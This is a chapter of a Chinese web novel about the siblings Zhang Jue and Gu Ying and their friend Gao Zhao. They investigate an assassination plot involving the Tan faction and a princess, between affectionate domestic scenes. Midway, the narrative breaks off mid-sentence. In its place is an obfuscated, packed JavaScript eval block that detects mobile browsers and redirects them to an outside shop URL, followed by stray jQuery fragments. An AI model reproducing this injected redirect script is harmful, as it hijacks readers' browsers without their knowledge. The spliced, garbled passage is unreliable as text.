张珏表情没有变化,但顾煐就觉得阿兄好似疏离了些,他遥遥站在桥的那边,在翠竹掩映下,修长的身影优美写意,脚下还沾着新鲜的泥土。他依旧是负手站在那里,右手执着一把油纸伞,身侧露出一件什么东西,被他松松地攥在手上,似乎是什么书。


    阿兄是来迎她的吗?


    听到高照的话,阿兄微笑颔首,缓步走了过来,将备好的油纸伞递给了高照。顾煐感到阿兄低低扫了自己一眼,更加心虚,往高照身后躲了躲。


    张珏神色有轻微的波动,目光在两人面上流连,最终定在高照脸上。


    “婺修兄,今日朝堂上可有什么新的消息?”


    高照自然地接过来,将伞撑在顾煐和自己的头顶上,饶有兴致,“这几日的朝堂可热闹,简直成了菜市场,静贞没有观礼,简直是一大憾事。”


    高照恍然未觉,一手拉着张珏,一边的伞歪歪地斜着,几乎将大半部分的伞都遮到顾煐头上,怎么看怎么滑稽。


    游七小声地在后面嘀咕,“听闻高大人素来端直,这高大人怎么就将七小姐当成自己的所有物似的,莫不是喜欢我家七小姐,那不是与公子成了亲戚?”


    “圣上听闻你伤情如此严重,盛怒之下,要彻查此事,连内侍都动了。”内侍是宫中的太监,也是皇上最后一道屏障,这次的事件殿下身边的侍卫已经被人收买了,只能用内侍。这对于清流并不是好事,在外人看来,他虽然无门无派,但倾向清流一党,此次遇刺最大的嫌疑应该是谭党一派,但是殿下向谭党问罪,也没有将查案的权利交给任何一派,说明殿下对谭党和清流都失去了信心。他想起那日刺客所说的奇怪的话,莫非刺客已经交代出高冶,那殿下信了吗?或者信了几分?


    他思索着那日谭落棠的奇怪的反应,他确实急迫地想要杀他,但是谭阁老是绝不会让他这么干的,那谭落棠的作为就十分奇怪,“谭阁老是什么反应?”


    “他的表情很奇怪,像是不知道此事。”


    “婺修,你觉不觉得这一切太奇怪。”张珏望着高照。


    “的确很奇怪,谭落棠这样大张旗鼓地来看你,全天下的人都知道他们的嫌疑最大,他还是这样无所顾忌,彷佛根本不担心查到他的头上。”高照想起,那日在会客厅,他亲眼目睹,谭落棠下黑手。说明刺杀张珏的事儿谭落棠有参与。


    “这只能说明后面另有其人。”


    “以谭党如今的势力,谁敢与他们为敌?”


    三人一路亦步亦趋,眨眼间,湖中的小亭赫然出现在眼前。


    张珏与高照沉默着,却听顾煐明亮甘甜的嗓音响起,“或许,谭党内部也是不统一的。”


    张珏看着顾煐抬起那张干净的小脸,眼睛咕噜噜地转着,面上满是欲言又止,“阿兄,你还记得昨日那谭落棠为何怕我,其实我是跟踪公主,可是却遇到了公主和谭落棠。”


    此话一出,张珏和高照俱是一惊。


    临安公主虽然年少守寡,但却长得艳丽动人,而谭落棠单从长相来看,绝对不是属于好看那一列的,两人确实不匹配。


    而公主一直倾心于张珏,人尽皆知,为何又与那谭落棠搅和在一起。


    “这么说,公主与谭落棠的勾结,谭少安是不知道的。”张珏看着顾煐,顾煐点点头,她虽然不曾出入朝堂,但是她知道一个简单的道理,卧榻之侧岂容他人酣睡,这个道理,谭少安比她能更懂,他能够权倾朝野,靠的是文帝的恩宠,文帝需要他来牵制百官,掌握权柄,若是文帝知道自己宠爱的公主跟自己宠臣的儿子私通,会是什么结果?


    “这个谭落棠真是胆大包天。”


    “也许不是胆大包天,我觉得他的背后还有人。”张珏摇摇头。


    “谭落棠已是一人之下,万人之上,除了他爹,他还把谁放在眼里?”高照俊朗的眉头皱着,不得其解。


    顾煐心中却一直有个想法在盘旋。


    张珏留意到顾煐的欲言又止,“灼灼觉得呢?”


    顾煐猝不及防被阿兄提问,对上阿兄那双深邃的眼睛,带着一丝期许,阿兄这是要考考她,“我却觉得,谭落棠虽然目中无人,但是却有软肋的。他平日里奢靡无度,又爱好呷妓,谭少安虽然位极人臣,家财万贯,但是钱是挣不完的。随着谭落棠野心的膨胀,未必不会为了富可敌国的财富与财团合作。”


    高照觉得豁然开朗,“我们可以从商行入手,查出他们背后的人。”


    张珏脸上闪过欣慰的笑容,“还漏了一处。”


    “会心堂。”


    “会心堂。”


    顾煐和张珏脱口而出,几乎达成了一种默契,高照看着眼里,只以为是兄妹心有灵犀,不觉有他,顾煐却有些慌张,那种不受控的感觉又来了。


    高照急切地去大理寺找关于会心堂和商行的卷宗,临走前,特意给顾煐留了珠宝首饰。


    顾煐心头感激,慌张的心情又变成欣喜,这可是小金库,以后可以卖了换钱,她喜滋滋地抬头,却看见阿兄端坐在椅子上,脚上盖着一床皮质细腻的毛毯,一手烤着火炉,一手拿着一本书,一副被她逗笑的样子,君子当视钱财为粪土,想必阿兄心中要暗暗笑自己了。


    “灼灼喜欢?”


    顾煐一怔,倒也说上喜欢,这些东西对从小习武的她来说并没有什么吸引力,她收集这些只是为了以备不时之需,不过她明明衣食无忧,为何会有这么财迷的时候?难道她以前经历过流浪,她怎么不记得了?难道也是那段丢失的记忆?


    见她看着其中一只金钗,神情低落下来,眼神失焦,有些失神,又想起刚才婺修兄与灼灼一起出现的画面,不知为何茶盏微微倾斜,溅出几点茶渍,“灼灼,可是在想什么人?”


    想什么人?顾煐脑子里那些模糊的人影。


    顾煐心不在焉地点点头,在张珏眼中是却是默认了。


    “你觉得婺修兄如何?”


    顾煐有些诧异,为何会无缘无故提起高照,想也未想,便答道,“他人不错,长得漂亮,为人仗义,我挺喜欢与他一处的。”


    喜欢吗?张珏略略一怔,高照出身名门,待人真诚,如今刚及弱冠,与灼灼年纪相仿,倒是般配。


    只是高冶高大人...


    想到这里,他又轻轻皱起眉头,游七看他皱眉,以为是伤口又痛,“公子,可要去拿些镇痛药来。”


    “阿兄,你伤口又痛了吗?”


    张珏只觉眼前一花,顾煐眨眼已经到了眼前,那双灿若星河的眼睛此刻正炯炯地盯着自己,刚想安慰,她已经伸手开始扒自己的衣服,游七看得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471223|201490||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    目瞪口呆,咽了咽口水,这位七小姐确实不是常人。不过七小姐英姿飒爽,公子病弱貌美,站在一处,倒是意外地般配。配上公子嘴角若有若无的笑意,七小姐认真心疼的神情,怎么感觉比七小姐和高大人还要登对。


    不对劲,这不对劲。游七掐了自己一下,将自己的神思拉了回来。公子与小姐是亲兄妹,怎么能这样想呢?简直是罪大恶极。


    感觉到阿兄的手又一次紧紧地攥住自己的手腕,顾煐抬头看到张珏嘴角总算没有那么苦了,露出一丝无奈地笑容,“灼灼,这种事情交给游七来就行了。”顾煐心头有些高兴,阿兄高兴,她怎么比阿兄高兴一百倍。


    又见到游七面露诡异之色,顾煐尴尬笑笑,苦恼道,“阿兄,我是不是不太像女子。”


    游七心道,七小姐你误会了,我只是觉得你跟公子十分登对,心怀鬼胎。


    从前,娘总是说她举止粗狂,没有名门贵女的样子,可是这样真的好难。为什么女子就不能千奇百怪,难道天底下的女子都要一种样子,才能招人喜欢吗?


    “灼灼这样就很好。不必有顾虑。”张珏看着顾煐纠结的样子,安抚道。


    “真的?”看到顾煐眼睛一亮,张珏眉心也舒展了,随后只见她脸上带着飞扬的神采,随后小脸一垮,“那...你为何不让我为你擦药。”


    “这...”张珏笑意凝住,顾煐难得看见平日里睿智的阿兄出现呆掉的表情,褪去那些老练深沉后,竟然带着带着几分少年人的稚嫩,意外地让人想好好揉揉脸蛋。


    算不算把自己绕进去了。张珏无奈地在心口叹了口气,只好默许顾煐查看自己的伤口,她的手利索,像是对这些事习以为常,带着微微的薄茧,轻柔而适度地在皮肤上打圈,就像羽毛轻抚心头。张珏收紧自己的手,暗叹自己对顾煐倒是毫无办法。


    顾煐搽好一会儿,看到阿兄脸色红润,又有光泽,看来是见效了。只是自己坐在旁边搽药,倒是给自己搽热了。随手抓起桌上的杯子喝了起来。


    “七...七小姐,这是公子的杯子。”


    顾煐脸上一窘,“阿兄。”


    “灼灼既然喜欢,就把这套白瓷杯子,包起来,一并送你。”


    “还有这本书,是我从府库里找出的《武学经要》,想着你会喜欢,顺手带过来了。”


    这本《武学经要》是公子特地从库里翻出来的,一早就要拿给七小姐,却说是顺手吗?


    游七目瞪口呆,总觉得公子对七小姐情感太过浓烈了。以往公子可从没有这样用心对待过女子,就连公主也是淡淡疏离。


    因为体恤七小姐在外面颠沛流离,受了许多辛苦吗?听说公子找到七小姐的时候,七小姐已经在外面孤身一人漂了三年,也是可怜。


    《武学经要》,顾煐听过这本书,这是开祖皇帝偶然从民间所得,十分珍贵,想不到如今能在这里看见。


    “阿兄果然对我最好。”顾煐一激动,直接扑到张珏怀里,阿兄的怀抱温暖,带着清冽的松柏香气以及经年累月的墨香,让人踏实又安心。顾煐猛地吸了好几口,她想通了,自家的阿兄不抱白不抱,肥水不流外人田。带着连自己都察觉不到的贪恋。


    张珏心头一悸,手僵在半空,好一会儿,才落下来轻轻拍了拍顾煐的背。